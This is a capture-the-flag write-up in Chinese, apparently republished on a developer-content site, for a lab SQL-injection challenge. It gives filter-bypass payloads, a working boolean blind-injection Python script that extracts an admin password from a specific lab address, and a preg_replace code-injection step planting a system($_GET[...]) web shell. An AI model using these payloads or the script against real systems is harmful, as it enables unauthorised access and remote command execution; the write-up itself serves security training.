概述
- fuzz发现几个重要过滤点 (包括 ’ , = , select , sleep 等)
以下为未过滤的sql注入关键词
那么现在来捋下思路,select被ban,意味着爆库名表名这条路走不通
考虑从爆password入手(当然,听学长说貌似也可以尝试堆叠,但我尝试后发现insert和sleep等被过滤,也就不再继续)
绕过细节: - %20用/**/代替
- substr和=的组合用regexp代替
- %23用;加%00截断代替(/*貌似不行?因为没有*/闭合)
- 无法手动添加单引号闭合,就用转义原sql语句里的单引号(对于单引号过滤的case,我现在能想到的思路也就只有转义or宽字节,以后见多了再回来补充吧)
测试语句如下,页面有了回显(但提示用admin登陆,那就是确定要爆出完整密码了)
构造poc:
username=&passwd=||passwd/**/regexp/**/"^a";%00
先拖进bp爆破看看第一个字符正确匹配时页面回显内容是什么,才能进一步编写脚本(bool盲注)
发现总共有以下三种case:
这种情况可能是撞到了数据库里非admin用户的密码,所以才显示visitor
最后一种就是啥回显都没有
那么很显然,我们就要去撞返回信息里有Welcome admin!的页面
(payload也可以改为regexp/**/binary/**/,因为mysql的regexp不区分大小写)
脚本如下:
import requests
from urllib.parse import unquote
url = 'http://39.106.94.18:13004/login.php'
dict = '0123456789abcdefABCDEF'
username = '\'
passwd = '||passwd/**/regexp/**/binary/**/"^%s";%%00'
cur = ''
for i in range(32):
for c in dict:
params = {'username':username, 'passwd':unquote(passwd%(cur+c))}
print(unquote(passwd%(cur+c)))
r = requests.get(url, params = params)
if 'Welcome admin'.encode() in r.content:
cur += c
break
print(cur)
有几个小坑…
- 记得发passwd前unquote下,否则%00被二次编码
- 很多出题人喜欢把敏感信息放在text读不到的地方,所以最好用content代替text(只不过要记得用encode把’Welcome admin!'转为bytes)
- 因为是mysql里的passwd,所以这里直接用md5来跑了,省事
值得一吐槽的是…这道题的passwd明文存储…而且存的明文也是md5…
所以别费力气md5解密
登陆成功以后,是如下界面
大大的一个ping,命令执行漏洞?
结果发现没用
上御剑扫子域名扫出flag.php(所以记得字典里带个flag*
访问呗
发现show_source,而且里面有我们刚刚输入的内容
那么攻击点应该就在$flag=‘xxx’上,而且看上去能解析形成的语句(不然做个**
**但尝试发现 ’ 和 都被过滤**
那怎么闭合单引号嘞
看一眼官方wp(说是源码用了preg_replace
那就有了新的闭合方式
先输入;system($_GET[1551]);
再输入$0 ( 此时的$0即为$flag=’;system($_GET[1551]);’; )
因为猜测preg_replace(’/*/’, replacement, string)
此时再访问flag.php,发现内容已经更改如下:
尝试直接在flag.php页GET传参,无果
再看看源码发现还有个show.php
访问getshell,并在根目录下发现flag
最后
以上就是紧张胡萝卜为你收集整理的网络内生安全试验场-201909-SQL-wp的全部内容,希望文章能够帮你解决网络内生安全试验场-201909-SQL-wp所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复